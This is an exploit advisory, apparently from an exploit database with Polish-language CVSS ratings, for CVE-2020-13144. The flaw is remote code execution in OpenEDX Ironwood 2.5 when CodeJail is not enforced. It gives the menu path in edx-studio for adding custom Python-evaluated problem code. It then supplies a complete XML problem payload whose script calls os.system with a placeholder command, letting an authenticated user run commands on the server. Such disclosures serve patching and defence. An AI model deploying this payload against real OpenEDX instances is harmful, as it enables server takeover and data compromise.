OpenEDX platform Ironwood 2.5 Remote Code Execution

2020.05.22
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


Ogólna skala CVSS: 6.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution # Google Dork: N/A # Date: 2020-05-20 # Exploit Author: Daniel Monzón (stark0de) # Vendor Homepage: https://open.edx.org/ # Software Link: https://github.com/edx/edx-platform # Version: Ironwood 2.5 # Tested on: Debian x64 # CVE : CVE-2020-13144 CVE ID: CVE-2020-13144 OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail (https://github.com/edx/codejail) is not enforced This is an authenticated vulnerability, so you need to register an account, go to /edx-studio Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code Once here we just need to edit the problem and introduce a payload such as: <problem> <script type="python"> def test_add(expect,ans): import os os.system("thecommandyouwanttoexecute") </script> <p>Problem text</p> <customresponse cfn="test_add" expect="20"> <textline size="10" correct_answer="11" label="Integer #1"/><br/> <textline size="10" correct_answer="9" label="Integer #2"/> </customresponse> <solution> <div class="detailed-solution"> <p>Solution or Explanation Heading</p> <p>Solution or explanation text</p> </div> </solution> </problem> And click Submit, and you will execute commands in the machine


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